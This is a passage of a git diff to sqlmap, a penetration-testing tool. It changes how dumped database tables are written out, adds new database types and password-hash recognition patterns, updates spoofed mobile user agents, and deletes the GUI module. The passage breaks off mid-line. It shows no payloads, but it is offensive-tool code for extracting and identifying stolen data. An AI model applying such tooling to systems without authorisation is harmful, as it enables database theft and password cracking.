max(maxlength2, len(colType or "")) + maxlength1 = max(maxlength1, getConsoleLength(column or "")) + maxlength2 = max(maxlength2, getConsoleLength(colType or "")) maxlength1 = max(maxlength1, len("COLUMN")) lines1 = "-" * (maxlength1 + 2) - if colType is not None: + if hasType: maxlength2 = max(maxlength2, len("TYPE")) lines2 = "-" * (maxlength2 + 2) @@ -315,17 +350,15 @@ def dbTableColumns(self, tableColumns, content_type=None): else: self._write("[%d columns]" % len(columns)) - if colType is not None: + if hasType: self._write("+%s+%s+" % (lines1, lines2)) else: self._write("+%s+" % lines1) blank1 = " " * (maxlength1 - len("COLUMN")) - if colType is not None: + if hasType: blank2 = " " * (maxlength2 - len("TYPE")) - - if colType is not None: self._write("| Column%s | Type%s |" % (blank1, blank2)) self._write("+%s+%s+" % (lines1, lines2)) else: @@ -336,21 +369,24 @@ def dbTableColumns(self, tableColumns, content_type=None): colType = columns[column] column = unsafeSQLIdentificatorNaming(column) - blank1 = " " * (maxlength1 - len(column)) + blank1 = " " * (maxlength1 - getConsoleLength(column)) - if colType is not None: - blank2 = " " * (maxlength2 - len(colType)) + if hasType: + colType = colType or "" + blank2 = " " * (maxlength2 - getConsoleLength(colType)) self._write("| %s%s | %s%s |" % (column, blank1, colType, blank2)) else: self._write("| %s%s |" % (column, blank1)) - if colType is not None: + if hasType: self._write("+%s+%s+\n" % (lines1, lines2)) else: self._write("+%s+\n" % lines1) def dbTablesCount(self, dbTables): if isinstance(dbTables, dict) and len(dbTables) > 0: + self._reportData(dbTables, CONTENT_TYPE.COUNT) + if conf.api: self._write(dbTables, content_type=CONTENT_TYPE.COUNT) @@ -409,14 +445,19 @@ def dbTableValues(self, tableValues): db = "All" table = tableValues["__infos__"]["table"] + safeDb = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db)) + safeTable = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table)) + + self._reportData(tableValues, CONTENT_TYPE.DUMP_TABLE) + if conf.api: self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE) try: - dumpDbPath = os.path.join(conf.dumpPath, unsafeSQLIdentificatorNaming(db)) + dumpDbPath = os.path.join(conf.dumpPath, safeDb) except UnicodeError: try: - dumpDbPath = os.path.join(conf.dumpPath, normalizeUnicode(unsafeSQLIdentificatorNaming(db))) + dumpDbPath = os.path.join(conf.dumpPath, normalizeUnicode(safeDb)) except (UnicodeError, OSError): tempDir = tempfile.mkdtemp(prefix="sqlmapdb") warnMsg = "currently unable to use regular dump directory. " @@ -426,16 +467,14 @@ def dbTableValues(self, tableValues): dumpDbPath = tempDir if conf.dumpFormat == DUMP_FORMAT.SQLITE: - replication = Replication(os.path.join(conf.dumpPath, "%s.sqlite3" % unsafeSQLIdentificatorNaming(db))) - elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): + replication = Replication(os.path.join(conf.dumpPath, "%s.sqlite3" % safeDb)) + elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML, DUMP_FORMAT.JSONL): if not os.path.isdir(dumpDbPath): try: os.makedirs(dumpDbPath) except: warnFile = True - - _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db)) - dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (_, hashlib.md5(getBytes(db)).hexdigest()[:8])) + dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (safeDb, hashlib.md5(getBytes(db)).hexdigest()[:8])) if not os.path.isdir(dumpDbPath): try: @@ -449,21 +488,19 @@ def dbTableValues(self, tableValues): dumpDbPath = tempDir - dumpFileName = conf.dumpFile or os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower()))) + dumpFileName = conf.dumpFile or os.path.join(dumpDbPath, "%s.%s" % (safeTable, conf.dumpFormat.lower())) + if not checkFile(dumpFileName, False): try: - openFile(dumpFileName, "w+b").close() + openFile(dumpFileName, "w+").close() except SqlmapSystemException: raise except: warnFile = True - - _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(table))) - if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES: - _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table)) - dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(getBytes(table)).hexdigest()[:8], conf.dumpFormat.lower())) + if IS_WIN and safeTable.upper() in WINDOWS_RESERVED_NAMES: + dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (safeTable, hashlib.md5(getBytes(table)).hexdigest()[:8], conf.dumpFormat.lower())) else: - dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower())) + dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (safeTable, conf.dumpFormat.lower())) else: appendToFile = any((conf.limitStart, conf.limitStop)) @@ -480,9 +517,15 @@ def dbTableValues(self, tableValues): else: count += 1 - dumpFP = openFile(dumpFileName, "wb" if not appendToFile else "ab", buffering=DUMP_FILE_BUFFER_SIZE) + dumpFP = openFile(dumpFileName, 'w' if not appendToFile else 'a', buffering=DUMP_FILE_BUFFER_SIZE) count = int(tableValues["__infos__"]["count"]) + if count > TRIM_STDOUT_DUMP_SIZE: + warnMsg = "console output will be trimmed to " + warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE + warnMsg += "large table size" + logger.warning(warnMsg) + separator = str() field = 1 fields = len(tableValues) - 1 @@ -509,7 +552,8 @@ def dbTableValues(self, tableValues): if column != "__infos__": colType = Replication.INTEGER - for value in tableValues[column]['values']: + for i in xrange(min(CHECK_SQLITE_TYPE_THRESHOLD, len(tableValues[column]['values']))): + value = tableValues[column]['values'][i] try: if not value or value == " ": # NULL continue @@ -522,7 +566,8 @@ def dbTableValues(self, tableValues): if colType is None: colType = Replication.REAL - for value in tableValues[column]['values']: + for i in xrange(min(CHECK_SQLITE_TYPE_THRESHOLD, len(tableValues[column]['values']))): + value = tableValues[column]['values'][i] try: if not value or value == " ": # NULL continue @@ -539,7 +584,7 @@ def dbTableValues(self, tableValues): dataToDumpFile(dumpFP, "\n\n\n") dataToDumpFile(dumpFP, "\n" % UNICODE_ENCODING) dataToDumpFile(dumpFP, "\n" % VERSION_STRING) - dataToDumpFile(dumpFP, "%s\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table))) + dataToDumpFile(dumpFP, "%s\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table)).replace("<", "")) dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE) dataToDumpFile(dumpFP, "\n\n\n\n\n\n") @@ -567,7 +612,7 @@ def dbTableValues(self, tableValues): else: dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: - dataToDumpFile(dumpFP, "" % getUnicode(htmlEscape(column).encode("ascii", "xmlcharrefreplace"))) + dataToDumpFile(dumpFP, "" % (field - 1, getUnicode(htmlEscape(column).encode("ascii", "xmlcharrefreplace")))) field += 1 @@ -582,66 +627,84 @@ def dbTableValues(self, tableValues): elif conf.dumpFormat == DUMP_FORMAT.SQLITE: rtable.beginTransaction() - if count > TRIM_STDOUT_DUMP_SIZE: - warnMsg = "console output will be trimmed to " - warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE - warnMsg += "large table size" - logger.warning(warnMsg) + # Precompute the per-column layout once. These values are invariant across + # every row, so resolving them per cell (dict lookup, int() conversion and + # identifier normalization) wasted count x ncols work on large dumps. + dumpColumns = [] + for column in columns: + if column != "__infos__": + info = tableValues[column] + dumpColumns.append((unsafeSQLIdentificatorNaming(column), info["values"], int(info["length"]))) for i in xrange(count): console = (i >= count - TRIM_STDOUT_DUMP_SIZE) field = 1 - values = [] - if conf.dumpFormat == DUMP_FORMAT.HTML: - dataToDumpFile(dumpFP, "") + # Only the SQLITE and JSONL paths accumulate a per-row container; the + # others left these unused, wasting an allocation on every single row + if conf.dumpFormat == DUMP_FORMAT.SQLITE: + values = [] + elif conf.dumpFormat == DUMP_FORMAT.JSONL: + record = OrderedDict() - for column in columns: - if column != "__infos__": - info = tableValues[column] + if i == 0 and count > TRIM_STDOUT_DUMP_SIZE: + self._write(" ...") - if len(info["values"]) <= i: - continue + if conf.dumpFormat == DUMP_FORMAT.HTML: + dataToDumpFile(dumpFP, "") - if info["values"][i] is None: - value = u'' + for safeColumn, colValues, maxlength in dumpColumns: + if len(colValues) <= i or colValues[i] is None: + value = u'' + else: + value = getUnicode(colValues[i]) + value = DUMP_REPLACEMENTS.get(value, value) + + if conf.dumpFormat == DUMP_FORMAT.SQLITE: + # Note: store a real NULL for the NULL sentinel (and the raw value otherwise), + # mirroring the JSONL path below; appending the display-replaced 'NULL'/'' + # text would corrupt the INTEGER/REAL-typed columns inferred above + if len(colValues) <= i or colValues[i] is None or colValues[i] == " ": # NULL + values.append(None) else: - value = getUnicode(info["values"][i]) - value = DUMP_REPLACEMENTS.get(value, value) + values.append(getUnicode(colValues[i])) - values.append(value) - maxlength = int(info["length"]) - blank = " " * (maxlength - getConsoleLength(value)) - self._write("| %s%s" % (value, blank), newline=False, console=console) + blank = " " * (maxlength - getConsoleLength(value)) + self._write("| %s%s" % (value, blank), newline=False, console=console) - if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value: - try: - mimetype = getText(magic.from_buffer(value, mime=True)) - if any(mimetype.startswith(_) for _ in ("application", "image")): - if not os.path.isdir(dumpDbPath): - os.makedirs(dumpDbPath) + if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value: + try: + mimetype = getText(magic.from_buffer(getBytes(value), mime=True)) + if any(mimetype.startswith(_) for _ in ("application", "image")): + if not os.path.isdir(dumpDbPath): + os.makedirs(dumpDbPath) - _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(column))) - filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8))) - warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath) - logger.warning(warnMsg) + _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(safeColumn)) + filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8))) + warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath) + logger.warning(warnMsg) - with openFile(filepath, "w+b", None) as f: - _ = safechardecode(value, True) - f.write(_) + with openFile(filepath, "w+b", None) as f: + _ = safechardecode(value, True) + f.write(_) - except Exception as ex: - logger.debug(getSafeExString(ex)) + except Exception as ex: + logger.debug(getSafeExString(ex)) - if conf.dumpFormat == DUMP_FORMAT.CSV: - if field == fields: - dataToDumpFile(dumpFP, "%s" % safeCSValue(value)) - else: - dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel)) - elif conf.dumpFormat == DUMP_FORMAT.HTML: - dataToDumpFile(dumpFP, "" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace"))) + if conf.dumpFormat == DUMP_FORMAT.CSV: + if field == fields: + dataToDumpFile(dumpFP, "%s" % safeCSValue(value)) + else: + dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel)) + elif conf.dumpFormat == DUMP_FORMAT.HTML: + dataToDumpFile(dumpFP, "" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace"))) + elif conf.dumpFormat == DUMP_FORMAT.JSONL: + if len(colValues) <= i or colValues[i] is None or colValues[i] == " ": # NULL + record[safeColumn] = None + else: + record[safeColumn] = getUnicode(colValues[i]) - field += 1 + field += 1 if conf.dumpFormat == DUMP_FORMAT.SQLITE: try: @@ -652,6 +715,8 @@ def dbTableValues(self, tableValues): dataToDumpFile(dumpFP, "\n") elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "\n") + elif conf.dumpFormat == DUMP_FORMAT.JSONL: + dataToDumpFile(dumpFP, "%s\n" % getUnicode(json.dumps(record, ensure_ascii=False))) self._write("|", console=console) @@ -661,11 +726,11 @@ def dbTableValues(self, tableValues): rtable.endTransaction() logger.info("table '%s.%s' dumped to SQLITE database '%s'" % (db, table, replication.dbpath)) - elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): + elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML, DUMP_FORMAT.JSONL): if conf.dumpFormat == DUMP_FORMAT.HTML: - dataToDumpFile(dumpFP, "\n
%s%s
%s%s
\n\n") - else: - dataToDumpFile(dumpFP, "\n") + dataToDumpFile(dumpFP, "\n\n\n\n") + # Note: each CSV row already ends with '\n' (above); no extra close-newline, otherwise + # the file ends with a blank line and a later --start/--stop append injects an empty record dumpFP.close() msg = "table '%s.%s' dumped to %s file '%s'" % (db, table, conf.dumpFormat, dumpFileName) @@ -675,6 +740,8 @@ def dbTableValues(self, tableValues): logger.warning(msg) def dbColumns(self, dbColumnsDict, colConsider, dbs): + self._reportData(dbColumnsDict, CONTENT_TYPE.COLUMNS) + if conf.api: self._write(dbColumnsDict, content_type=CONTENT_TYPE.COLUMNS) diff --git a/lib/core/enums.py b/lib/core/enums.py index 188bd9fc3c9..0e4798e3388 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -52,6 +52,7 @@ class DBMS(object): PRESTO = "Presto" ALTIBASE = "Altibase" MIMERSQL = "MimerSQL" + CLICKHOUSE = "ClickHouse" CRATEDB = "CrateDB" CUBRID = "Cubrid" CACHE = "InterSystems Cache" @@ -59,6 +60,9 @@ class DBMS(object): FRONTBASE = "FrontBase" RAIMA = "Raima Database Manager" VIRTUOSO = "Virtuoso" + SNOWFLAKE = "Snowflake" + SPANNER = "Spanner" + HANA = "SAP HANA" class DBMS_DIRECTORY_NAME(object): ACCESS = "access" @@ -81,6 +85,7 @@ class DBMS_DIRECTORY_NAME(object): PRESTO = "presto" ALTIBASE = "altibase" MIMERSQL = "mimersql" + CLICKHOUSE = "clickhouse" CRATEDB = "cratedb" CUBRID = "cubrid" CACHE = "cache" @@ -88,6 +93,9 @@ class DBMS_DIRECTORY_NAME(object): FRONTBASE = "frontbase" RAIMA = "raima" VIRTUOSO = "virtuoso" + SNOWFLAKE = "snowflake" + SPANNER = "spanner" + HANA = "hana" class FORK(object): MARIADB = "MariaDB" @@ -104,6 +112,11 @@ class FORK(object): YELLOWBRICK = "Yellowbrick" IRIS = "Iris" YUGABYTEDB = "YugabyteDB" + OPENGAUSS = "OpenGauss" + DM8 = "DM8" + DORIS = "Doris" + STARROCKS = "StarRocks" + TRINO = "Trino" class CUSTOM_LOGGING(object): PAYLOAD = 9 @@ -169,10 +182,13 @@ class HASH(object): MYSQL = r'(?i)\A\*[0-9a-f]{40}\Z' MYSQL_OLD = r'(?i)\A(?![0-9]+\Z)[0-9a-f]{16}\Z' POSTGRES = r'(?i)\Amd5[0-9a-f]{32}\Z' + POSTGRES_SCRAM = r'\ASCRAM-SHA-256\$\d+:[A-Za-z0-9+/]+={0,2}\$[A-Za-z0-9+/]+={0,2}:[A-Za-z0-9+/]+={0,2}\Z' + MYSQL_SHA2 = r'\A\$mysql\$A\$[0-9A-Fa-f]{3}\*[0-9A-Fa-f]{40}\*[0-9A-Fa-f]{86}\Z' MSSQL = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{40}\Z' MSSQL_OLD = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{80}\Z' MSSQL_NEW = r'(?i)\A0x0200[0-9a-f]{8}[0-9a-f]{128}\Z' ORACLE = r'(?i)\As:[0-9a-f]{60}\Z' + ORACLE_12C = r'(?i)\At:[0-9a-f]{160}\Z' ORACLE_OLD = r'(?i)\A[0-9a-f]{16}\Z' MD5_GENERIC = r'(?i)\A(0x)?[0-9a-f]{32}\Z' SHA1_GENERIC = r'(?i)\A(0x)?[0-9a-f]{40}\Z' @@ -181,6 +197,8 @@ class HASH(object): SHA384_GENERIC = r'(?i)\A[0-9a-f]{96}\Z' SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z' CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z' + SHA256_UNIX_CRYPT = r'\A\$5\$(?:rounds=\d+\$)?[./0-9A-Za-z]{1,16}\$[./0-9A-Za-z]{43}\Z' + SHA512_UNIX_CRYPT = r'\A\$6\$(?:rounds=\d+\$)?[./0-9A-Za-z]{1,16}\$[./0-9A-Za-z]{86}\Z' JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z' PHPASS = r'\A\$[PHQS]\$[./0-9a-zA-Z]{31}\Z' APACHE_MD5_CRYPT = r'\A\$apr1\$.{1,8}\$[./a-zA-Z0-9]+\Z' @@ -188,29 +206,37 @@ class HASH(object): APACHE_SHA1 = r'\A\{SHA\}[a-zA-Z0-9+/]+={0,2}\Z' VBULLETIN = r'\A[0-9a-fA-F]{32}:.{30}\Z' VBULLETIN_OLD = r'\A[0-9a-fA-F]{32}:.{3}\Z' + OSCOMMERCE_OLD = r'\A[0-9a-fA-F]{32}:.{2}\Z' SSHA = r'\A\{SSHA\}[a-zA-Z0-9+/]+={0,2}\Z' SSHA256 = r'\A\{SSHA256\}[a-zA-Z0-9+/]+={0,2}\Z' SSHA512 = r'\A\{SSHA512\}[a-zA-Z0-9+/]+={0,2}\Z' - DJANGO_MD5 = r'\Amd5\$[^$]+\$[0-9a-f]{32}\Z' - DJANGO_SHA1 = r'\Asha1\$[^$]+\$[0-9a-f]{40}\Z' + DJANGO_MD5 = r'\Amd5\$[^$]*\$[0-9a-f]{32}\Z' + DJANGO_SHA1 = r'\Asha1\$[^$]*\$[0-9a-f]{40}\Z' + DJANGO_PBKDF2_SHA256 = r'\Apbkdf2_sha256\$\d+\$[^$]+\$[A-Za-z0-9+/]+={0,2}\Z' + WERKZEUG_PBKDF2 = r'\Apbkdf2:(?:sha1|sha256|sha512):\d+\$[^$]+\$[0-9a-f]+\Z' + WERKZEUG_SCRYPT = r'\Ascrypt:\d+:\d+:\d+\$[^$]+\$[0-9a-f]+\Z' + BCRYPT = r'\A\$2[abxy]\$\d{2}\$[./A-Za-z0-9]{53}\Z' + WORDPRESS_BCRYPT = r'\A\$wp\$2[abxy]\$\d{2}\$[./A-Za-z0-9]{53}\Z' + ARGON2 = r'\A\$argon2(?:id|i|d)\$v=\d+\$m=\d+,t=\d+,p=\d+\$[A-Za-z0-9+/]+={0,2}\$[A-Za-z0-9+/]+={0,2}\Z' + ASPNET_IDENTITY = r'\AAQAAAA[A-Za-z0-9+/]{76}==\Z' MD5_BASE64 = r'\A[a-zA-Z0-9+/]{22}==\Z' SHA1_BASE64 = r'\A[a-zA-Z0-9+/]{27}=\Z' SHA256_BASE64 = r'\A[a-zA-Z0-9+/]{43}=\Z' SHA512_BASE64 = r'\A[a-zA-Z0-9+/]{86}==\Z' -# Reference: http://www.zytrax.com/tech/web/mobile_ids.html +# Reference: https://whatmyuseragent.com/brand/ class MOBILES(object): BLACKBERRY = ("BlackBerry Z10", "Mozilla/5.0 (BB10; Kbd) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.3.2205 Mobile Safari/537.35+") - GALAXY = ("Samsung Galaxy S8", "Mozilla/5.0 (Linux; Android 8.0.0; SM-G955U Build/R16NW; en-us) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.136 Mobile Safari/537.36 Puffin/9.0.0.50263AP") + GALAXY = ("Samsung Galaxy A54", "Mozilla/5.0 (Linux; Android 15; SM-A546B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.7339.155 Mobile Safari/537.36 AirWatchBrowser/25.08.0.2131") HP = ("HP iPAQ 6365", "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; HP iPAQ h6300)") - HTC = ("HTC 10", "Mozilla/5.0 (Linux; Android 8.0.0; HTC 10 Build/OPR1.170623.027) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36") - HUAWEI = ("Huawei P8", "Mozilla/5.0 (Linux; Android 4.4.4; HUAWEI H891L Build/HuaweiH891L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36") - IPHONE = ("Apple iPhone 8", "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1") - LUMIA = ("Microsoft Lumia 950", "Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; Lumia 950) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Mobile Safari/537.36 Edge/15.15063") + HTC = ("HTC One X2", "Mozilla/5.0 (Linux; Android 14; X2-HT) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.46 Mobile Safari/537.36") + HUAWEI = ("Huawei Honor 90 Pro", "Mozilla/5.0 (Linux; Android 15; REP-AN00 Build/HONORREP-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/133.0.6943.137 Mobile Safari/537.36") + IPHONE = ("Apple iPhone 15 Pro Max", "Mozilla/7.0 (iPhone; CPU iPhone OS 18_7; iPhone 15 Pro Max) AppleWebKit/533.2 (KHTML, like Gecko) CriOS/126.0.6478.35 Mobile/15E148 Safari/804.17") + LUMIA = ("Microsoft Lumia 950 XL", "Mozilla/5.0 (Windows Mobile 10; Android 10.0;Microsoft;Lumia 950XL) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36 Edge/40.15254.603") NEXUS = ("Google Nexus 7", "Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19") NOKIA = ("Nokia N97", "Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344") - PIXEL = ("Google Pixel", "Mozilla/5.0 (Linux; Android 10; Pixel) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.117 Mobile Safari/537.36") - XIAOMI = ("Xiaomi Mi 8 Pro", "Mozilla/5.0 (Linux; Android 9; MI 8 Pro Build/PKQ1.180729.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.66 Mobile Safari/537.36") + PIXEL = ("Google Pixel 9", "Mozilla/5.0 (Linux; Android 14; Pixel 9) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/24.0 Chrome/139.0.0.0 Mobile Safari/537.36") + XIAOMI = ("Xiaomi Redmi 15C", "Mozilla/5.0 (Linux; Android 15; REDMI 15C Build/AP3A.240905.015.A2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.118 Mobile Safari/537.36 XiaoMi/MiuiBrowser/14.43.0-gn") class PROXY_TYPE(object): HTTP = "HTTP" @@ -227,6 +253,7 @@ class DUMP_FORMAT(object): CSV = "CSV" HTML = "HTML" SQLITE = "SQLITE" + JSONL = "JSONL" class HTTP_HEADER(object): ACCEPT = "Accept" @@ -276,6 +303,7 @@ class HASHDB_KEYS(object): DBMS = "DBMS" DBMS_FORK = "DBMS_FORK" CHECK_WAF_RESULT = "CHECK_WAF_RESULT" + CHECK_WAF_BYPASS = "CHECK_WAF_BYPASS" CHECK_NULL_CONNECTION_RESULT = "CHECK_NULL_CONNECTION_RESULT" CONF_TMP_PATH = "CONF_TMP_PATH" KB_ABS_FILE_PATHS = "KB_ABS_FILE_PATHS" @@ -365,6 +393,7 @@ class WEB_PLATFORM(object): ASP = "asp" ASPX = "aspx" JSP = "jsp" + CFM = "cfm" class CONTENT_TYPE(object): TARGET = 0 @@ -394,6 +423,7 @@ class CONTENT_TYPE(object): OS_CMD = 24 REG_READ = 25 STATEMENTS = 26 + PROCEDURES = 27 class CONTENT_STATUS(object): IN_PROGRESS = 0 diff --git a/lib/core/exception.py b/lib/core/exception.py index 8e487ce30e9..4d111073dec 100644 --- a/lib/core/exception.py +++ b/lib/core/exception.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/gui.py b/lib/core/gui.py deleted file mode 100644 index fa6f2694943..00000000000 --- a/lib/core/gui.py +++ /dev/null @@ -1,284 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import os -import re -import socket -import subprocess -import sys -import tempfile -import threading -import webbrowser - -from lib.core.common import getSafeExString -from lib.core.common import saveConfig -from lib.core.data import paths -from lib.core.defaults import defaults -from lib.core.enums import MKSTEMP_PREFIX -from lib.core.exception import SqlmapMissingDependence -from lib.core.exception import SqlmapSystemException -from lib.core.settings import DEV_EMAIL_ADDRESS -from lib.core.settings import IS_WIN -from lib.core.settings import ISSUES_PAGE -from lib.core.settings import GIT_PAGE -from lib.core.settings import SITE -from lib.core.settings import VERSION_STRING -from lib.core.settings import WIKI_PAGE -from thirdparty.six.moves import queue as _queue - -alive = None -line = "" -process = None -queue = None - -def runGui(parser): - try: - from thirdparty.six.moves import tkinter as _tkinter - from thirdparty.six.moves import tkinter_scrolledtext as _tkinter_scrolledtext - from thirdparty.six.moves import tkinter_ttk as _tkinter_ttk - from thirdparty.six.moves import tkinter_messagebox as _tkinter_messagebox - except ImportError as ex: - raise SqlmapMissingDependence("missing dependence ('%s')" % getSafeExString(ex)) - - # Reference: https://www.reddit.com/r/learnpython/comments/985umy/limit_user_input_to_only_int_with_tkinter/e4dj9k9?utm_source=share&utm_medium=web2x - class ConstrainedEntry(_tkinter.Entry): - def __init__(self, master=None, **kwargs): - self.var = _tkinter.StringVar() - self.regex = kwargs["regex"] - del kwargs["regex"] - _tkinter.Entry.__init__(self, master, textvariable=self.var, **kwargs) - self.old_value = '' - self.var.trace('w', self.check) - self.get, self.set = self.var.get, self.var.set - - def check(self, *args): - if re.search(self.regex, self.get()): - self.old_value = self.get() - else: - self.set(self.old_value) - - # Reference: https://code.activestate.com/recipes/580726-tkinter-notebook-that-fits-to-the-height-of-every-/ - class AutoresizableNotebook(_tkinter_ttk.Notebook): - def __init__(self, master=None, **kw): - _tkinter_ttk.Notebook.__init__(self, master, **kw) - self.bind("<>", self._on_tab_changed) - - def _on_tab_changed(self, event): - event.widget.update_idletasks() - - tab = event.widget.nametowidget(event.widget.select()) - event.widget.configure(height=tab.winfo_reqheight()) - - try: - window = _tkinter.Tk() - except Exception as ex: - errMsg = "unable to create GUI window ('%s')" % getSafeExString(ex) - raise SqlmapSystemException(errMsg) - - window.title(VERSION_STRING) - - # Reference: https://www.holadevs.com/pregunta/64750/change-selected-tab-color-in-ttknotebook - style = _tkinter_ttk.Style() - settings = {"TNotebook.Tab": {"configure": {"padding": [5, 1], "background": "#fdd57e"}, "map": {"background": [("selected", "#C70039"), ("active", "#fc9292")], "foreground": [("selected", "#ffffff"), ("active", "#000000")]}}} - style.theme_create("custom", parent="alt", settings=settings) - style.theme_use("custom") - - # Reference: https://stackoverflow.com/a/10018670 - def center(window): - window.update_idletasks() - width = window.winfo_width() - frm_width = window.winfo_rootx() - window.winfo_x() - win_width = width + 2 * frm_width - height = window.winfo_height() - titlebar_height = window.winfo_rooty() - window.winfo_y() - win_height = height + titlebar_height + frm_width - x = window.winfo_screenwidth() // 2 - win_width // 2 - y = window.winfo_screenheight() // 2 - win_height // 2 - window.geometry('{}x{}+{}+{}'.format(width, height, x, y)) - window.deiconify() - - def onKeyPress(event): - global line - global queue - - if process: - if event.char == '\b': - line = line[:-1] - else: - line += event.char - - def onReturnPress(event): - global line - global queue - - if process: - try: - process.stdin.write(("%s\n" % line.strip()).encode()) - process.stdin.flush() - except socket.error: - line = "" - event.widget.master.master.destroy() - return "break" - except: - return - - event.widget.insert(_tkinter.END, "\n") - - return "break" - - def run(): - global alive - global process - global queue - - config = {} - - for key in window._widgets: - dest, type = key - widget = window._widgets[key] - - if hasattr(widget, "get") and not widget.get(): - value = None - elif type == "string": - value = widget.get() - elif type == "float": - value = float(widget.get()) - elif type == "int": - value = int(widget.get()) - else: - value = bool(widget.var.get()) - - config[dest] = value - - for option in parser.option_list: - config[option.dest] = defaults.get(option.dest, None) - - handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True) - os.close(handle) - - saveConfig(config, configFile) - - def enqueue(stream, queue): - global alive - - for line in iter(stream.readline, b''): - queue.put(line) - - alive = False - stream.close() - - alive = True - - process = subprocess.Popen([sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, 